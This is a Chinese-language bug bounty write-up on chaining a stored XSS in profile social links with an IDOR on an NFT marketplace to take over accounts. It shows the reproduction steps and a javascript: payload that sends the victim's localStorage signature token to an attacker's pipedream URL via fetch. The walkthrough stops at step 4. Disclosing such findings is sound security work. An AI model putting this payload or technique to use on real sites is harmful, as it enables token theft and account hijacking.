记一次NFT平台的存储型XSS和IDOR漏洞挖掘过程

HACK学习

发布于 2023-08-22 10:50:32

3630

发布于 2023-08-22 10:50:32

文章被收录于专栏：HACK学习

记一次NFT平台的存储型XSS和IDOR漏洞

这是我在 NFT 市场中发现的一个令人兴奋的安全问题，它允许我通过链接 IDOR 和 XSS 来接管任何人的帐户，以实现完整的帐户接管漏洞。

我们将用实际流程来覆盖每个漏洞，然后将所有这些问题串联起来

XSS →IDOR → 账户接管

我们先从XSS开始

注意：我们将目标应用程序称为vulnerablemarketplace.com

关于此应用程序：在此应用程序中，每个请求都通过签名进行验证，该签名的作用类似于 cookie 或身份验证标头。

漏洞1：存储型XSS

与其他应用程序一样，它有一个个人资料部分，用户可以在其中上传个人资料图片/上传艺术作品/更新个人简介/电子邮件/添加 Instagram 或 Telegram 等社交链接

所以我做的最基本的步骤是将我的 Twitter 和 Instagram 链接保存为 javascript:alert(document.domain) ，当我保存我的信息并单击 Twitter 或 Instagram 图标时，javascript 被执行，这确认我们在nft 市场

复现步骤

1.使用钱包登录我的vulnerablemarketplace.com nft 帐户

2.然后导航到我的个人资料设置并将我的 Instagram 和 Twitter 链接保存为 javascript:alert(document.domain)

这是帖子请求：

3.每当我们点击我们的个人资料 Twitter 或 Instagram 图标时，XSS 就会被执行

漏洞 2：idor 修改任何用户的个人资料详细信息

关于漏洞：攻击者可以修改用户的个人资料信息，包括联系电子邮件、Twitter 或 Instagram 链接，这里唯一的要求是我们需要获取受害者的钱包地址（这已经是区块链上的公开信息，因为每个用户都共享一个钱包地址）某人或其他人）。

要求：受害者钱包地址（我们可以轻松获得，因为用户与其他用户共享此地址，并且地址是公共信息）

复现步骤

设置：我创建了两个帐户 A. 攻击者 B. 受害者（复制受害者钱包地址）

1.攻击者将他的钱包连接到vulnerablemarketplace.com

2.转到他的个人资料设置并在电子邮件、Twitter 链接上输入任何随机信息，并在任何代理工具 (BURP) 中捕获请求

3.从攻击者的角度来看，此帖子请求中的一些参数非常有趣，包括 acccount_address、signer 和签名。

account_address=用户钱包地址

签名者=与账户地址相同

签名 = 充当身份验证令牌或 cookie 来正确验证用户的请求

4.我将攻击者的account_address修改为受害者的账户地址并发送请求

5.是的！！！我们能够用我们自己的价值观修改受害者用户的个人资料。我们能够使用我们自己的控制值修改受害者的电子邮件、Twitter、Instagram 链接

注意：有些人可能会有疑问，如果我们能够修改受害者的电子邮件，那么帐户就已经被接管了🧐？不，因为这是一个 NFT 应用程序，所以没有电子邮件身份验证，我们必须使用钱包扩展进行连接（我们需要窃取受害者签名，以便我们可以使用它来窃取 NFT 或艺术品）

打造漏洞利用链

到目前为止，我们已经有了一个 IDOR 和一个 Stored XSS。我本可以与其他用户共享我的个人资料来窃取数据，但通过链接此 IDOR，我们可以修改信誉良好的用户的个人资料详细信息以增加影响

需要记住的事情：应用程序没有 cookie，但将签名值存储在浏览器 localStorage 中，因此我们将制作有效负载来窃取该签名值

复现步骤

1.在 Burp 等代理工具中捕获更改个人资料信息的 POST 请求

2.修改此负载的 Instagram 和 Twitter 链接。

3.我们对签名值特别感兴趣，因为这是发出每个请求所必需的。签名值存储在 localStorage 中，因此这里是 javascript 有效负载，我们将使用它来窃取该值并将其发送到我们的 pipelinedream url javascript:token=JSON.stringify(localStorage),url='https://mypipedream.m.pipedream.net/'+token,fetch(url)

4.修改account_address为受害者钱包地址